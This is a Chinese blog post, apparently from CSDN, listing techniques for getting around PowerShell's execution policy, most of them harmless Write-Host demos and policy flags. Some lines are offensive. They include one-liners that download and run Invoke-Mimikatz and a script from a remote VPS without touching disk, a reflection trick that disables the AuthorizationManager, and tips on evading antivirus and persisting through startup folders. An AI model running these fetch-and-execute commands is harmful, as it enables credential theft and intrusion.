绕过PowerShell执行策略方法总结
默认情况下,PowerShell配置为阻止Windows系统上执行PowerShell脚本。对于渗透测试人员,系统管理员和开发人员而言,这可能是一个障碍,但并非必须如此。
什么是PowerShell执行策略?
PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。
为什么我要绕过执行政策?
因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:
Windows原生支持
能够调用Windows API
能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
能够避免被反病毒工具检测
大多数应用程序白名单解决方案已将其标记为“受信任”
一种用于编写许多开源Pentest工具包的媒介
如何查看执行策略
在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:
Get-ExecutionPolicy
同样值得注意的是execution policy可以在系统中设置不同的级别。要查看他们使用下面的命令列表。更多信息可以点击这里查看微软的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
我们先将powershell执行策略设置为Restricted(限制),方便进行后续测试绕过PowerShell Execution Policy。
Set-ExecutionPolicy Restricted
绕过PowerShell执行策略
将脚本粘贴到Interactive PowerShell控制台中
复制并粘贴你的PowerShell脚到一个交互式控制台,如下图所示。但是,请记住,你将受到当前用户权限限制。这是最基本的例子,当你有一个交互控制台时,可以方便快速地运行脚本。此外,这种技术不会更改配置或需要写入磁盘。
Write-Host "It's run!";
echo脚本并将其通过管道传递到PowerShell
简单的ECHO脚本到PowerShell的标准输入。这种技术不会导致配置的更改或要求写入磁盘。
Echo Write-Host "It's run!" | PowerShell.exe -noprofile -
从文件读取脚本并通过管道传输到PowerShell
使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的PowerShell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。然而,如果你想试图避免写到磁盘,你可以从网络上远程读取你的脚本。
例1:Get-Content Powershell命令
Get-Content .\demo.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
type .\demo.ps1 | PowerShell.exe -noprofile -
从远程下载脚本并通过IEX执行
这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')"
如无法使用github下载可换vps:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://182.xxx.xxx.156:10001/demo.ps1')"
使用使用command命令
这种技术和通过复制和粘贴来执行一个脚本是非常相似的,但它可以做没有交互式控制台。这是很好的方式适合执行简单的脚本,但更复杂的脚本通常容易出现错误。这种技术不会导致配置更改或要求写入磁盘。
例1:完整的命令
Powershell -command "Write-Host "Its run!"";
示例2:简短命令(-c)
Powershell -c "Write-Host "It’s run!'"
可能还值得注意的是,您可以将这些类型的PowerShell命令放入批处理文件中,并将它们放入自动运行的位置(如所有用户的启动文件夹),以在权限提升期间提供帮助。
使用EncodeCommand命令
这和使用"Command"命令非常像,但它为所有的脚本提供了一个Unicode / Base64编码串。通过这种方式加密你的脚本可以帮你绕过所有通过"Command"执行时会遇到的错误。这种技术不会导致配置文件的更改或要求写入磁盘。
例1: 完整的命令
$command = "Write-Host 'Its run!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand
powershell.exe -EncodedCommand $encodedCommand
示例2:通过简短的命令使用编码字符串
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuA
使用Invoke-Command命令
这是一个典型的通过交互式PowerShell控制台执行的方法。但最主要的是当PowerShell远程处理开启时我们可以用它来对远程系统执行命令。这种技术不会导致配置更改或要求写入磁盘。
Invoke-command -scriptblock {Write-Host "Its run!"}
下面的命令还可以用来抓取从远程计算机的execution policy并将其应用到本地计算机。
Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force
这种方式经测试不可行。
域环境下:
工作组下:
使用Invoke-Expression命令
这是另一个典型的通过交互式PowerShell控制台执行的方法。这种技术不会导致配置更改或要求写入磁盘。下面我列举了一些常用的方法来通过Invoke-Expression绕过execution policy。
例1:使用Get-Content的完整命令
Get-Content .\demo.ps1 | Invoke-Expression
示例2:使用Get-Content的简短命令
GC .\demo.ps1 | iex
使用“Bypass”绕过Execution Policy
当你通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候"没有任何东西被阻止,没有任何警告或提示"。这种技术不会导致配置更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1
使用“Unrestricted”标记Execution Policy
这类似于"Bypass"标记。当你使用这个标记的时候,它会"加载所有的配置文件并运行所有的脚本。如果你运行从网上下载的一个未被签名的脚本,它会提示你需要权限",这种技术不会导致配置的更改或要求写入磁盘。
PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1
使用“Remote-Signed”标记Execution Policy
要想绕过执行限制,需要按照如下教程操作对脚本进行数字签名。
详细参考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
直接使用Remote-signed标记脚本无法运行的
PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1
通过交换AuthorizationManager禁用ExecutionPolicy
下面的函数可以通过一个交互式的PowerShell来执行。一旦函数被调用"AuthorizationManager"就会被替换成空。最终结果是,接下来的会话基本上不受execution policy的限制。然而,它的变化将被应用于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy
.\demo.ps1
把ExcutionPolicy设置成Process Scope
执行策略可以应用于多层次的。这包括你控制的过程。使用这种技术,执行策略可以被设置为您的会话的持续时间不受限制。此外,它不会导致配置更改或需要写入到磁盘。
Set-ExecutionPolicy Bypass -Scope Process
通过命令设置ExcutionPolicy为CurrentUser Scope
这种方法和上面那种类似。但是这种方法通过修改注册表将当前用户环境的设置应用到当前用户的环境中。此外,它不会导致在配置更改或需要写入到磁盘。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
通过注册表设置ExcutionPolicy为CurrentUser Scope
在这个例子中,展示了如何通过修改注册表项来改变当前用户的环境的执行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
总结总结
使用的execution policy不一定是开发商,管理员,或者。微软从来没有打算将它成为一个安全控制。这就是为什么有这么多选择绕过它。微软很好地提供了一些本地选项和安全社区也拿出一些真正有趣的东西。
————————————————
版权声明:本文为CSDN博主「Micr067」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_41082546/article/details/106878654
绕过PowerShell执行策略方法总结的更多相关文章
- Win powershell执行策略配置
参考连接:https://blog.csdn.net/jeffxu_lib/article/details/84710386 参考连接:http://www.cragsman.org/index.ph ...
- PowerShell~执行策略的介绍
首先看一下无法加载ps1脚本的解决方法 事实上也是由于策略导致的 解决方法主是开启对应的策略 set-ExecutionPolicy RemoteSigned 执行策略更改 执行策略可以防止您执行不 ...
- powershell 执行策略
前言 上一篇博文,我介绍了一下powershell和cmd的对比.通过学习,我发现powershell的确比cmd更加power,也更加适应现在的使用场景. 那么本文将继续介绍一个powershell ...
- 【原创】NuGet 出现“无法初始化 PowerShell 主机,如果将你的 PowerShell 执行策略设置设置为 AllSigned ,请先打开程序包管理控制台以初始化该主机” 错误的解决方法
现象: 网上的设置 AllSigned 等方法都无效..后来考虑可能跟命令行版本兼容性有关系,然后在注册表命令行配置里发现一 ForceV2 设置项,抱着试一试的心态改了下,果然解决了! 解决方法:修 ...
- powershell脚本执行绕过powershell下脚本执行限制(cmd下执行)以及在cmd下隐藏脚本窗口
powershell脚本执行绕过powershell下脚本执行限制(cmd下执行) powershell脚本运行方式有两种,一种是powshell中运行,另一种是在cmd中(在某些情况下相当有用) p ...
- PowerShell 脚本执行策略
为防止恶意脚本的执行,PowerShell 中设计了一个叫做执行策略(Execution Policy)的东西(我更倾向于把它叫做脚本执行策略).我们可以在不同的应用场景中设置不同的策略来防止恶意脚本 ...
- python虚拟环境virtualenv、virtualenv下运行IDLE、powershell 运行脚本由执行策略引起的问题
一.为什么要创建虚拟环境: 应为在开发中会有同时对一个包不同版本的需求,创建多个开发环境就能解决这个问题.或许也会有对python不同版本的需求,这就需要使用程序来管理不同的版本,virtualenv ...
- Powershell ExecutionPolicy 执行策略
简单说明 powershell对于脚本的执行有着严格的安全限制 Get-ExecutionPolicy -List #查看当前的执行策略 Set-ExecutionPolicy -Scope Curr ...
- 哪些方法可以绕过PowerShell Execution Policy?
哪些方法可以绕过PowerShell Execution Policy? 转: https://blog.csdn.net/qq_27446553/article/details/50577296
随机推荐
- 新来的老大,剑走偏锋,干掉AOP做操作日志,实现后我们都惊呆了
前言 用户在操作我们系统的过程中,针对一些重要的业务数据进行增删改查的时候,我们希望记录一下用户的操作行为,以便发生问题时能及时的找到依据,这种日志就是业务系统的操作日志. 本篇我们来探讨下常见操作日 ...
- Linux 任务后台运行软件【即:终端复用器】之---screen
会话: 命令行的典型使用方式是,打开一个终端窗口(terminal window,以下简称"窗口"),在里面输入命令. 用户与计算机的这种临时的交互,称为一次"会话&qu ...
- Nuxt.js
nuxt.js简单来说是Vue.js的通用框架,最常用的就是SSR(服务端渲染),nuxt.js这个框架,用Vue开发多页面应用,并在服务端完成渲染,可以直接用命令把我们制作的vue项目生成为静态的h ...
- 一个 static 还能难得住我?
static 是我们日常生活中经常用到的关键字,也是 Java 中非常重要的一个关键字,static 可以修饰变量.方法.做静态代码块.静态导包等,下面我们就来具体聊一聊这个关键字,我们先从基础开始, ...
- Chisel3 - model - DefWire, Reg, Memory, Prim
https://mp.weixin.qq.com/s/KkkqvekWHG6yrqwHUECRIw 介绍如何定义Wire/Reg/Memory/Prim. 1. DefWire Wire( ...
- 【SpringMVC】使用三层架构实现登录,注册。(下篇)
上篇写了构思与界面层,本篇写一下业务逻辑层.数据访问层 目录 业务逻辑层 包:pojo 用户类(JavaBean):User public class User { private String us ...
- 使用turtle库绘制一个叠加等边三角形
import turtle as t t.setup(600, 600, None,None) t.pu() t.fd(-120) t.pensize(5) t.width(5) t.pencolor ...
- (二)用less+gulp+requireJs 搭建项目(gulp)
gulp是自动化构建工具,基于node,需要安装node,如果你不了解node也没关系,先跟着来一遍再去了解node也不迟~ 首先去node官网下载安装包 1.新建项目文件夹 在目录下shift+右键 ...
- Java实现 LeetCode 744 寻找比目标字母大的最小字母(二分法)
744. 寻找比目标字母大的最小字母 给定一个只包含小写字母的有序数组letters 和一个目标字母 target,寻找有序数组里面比目标字母大的最小字母. 在比较时,数组里字母的是循环有序的.举个例 ...
- Java实现 LeetCode 25 K个一组翻转链表
25. K 个一组翻转链表 给你一个链表,每 k 个节点一组进行翻转,请你返回翻转后的链表. k 是一个正整数,它的值小于或等于链表的长度. 如果节点总数不是 k 的整数倍,那么请将最后剩余的节点保持 ...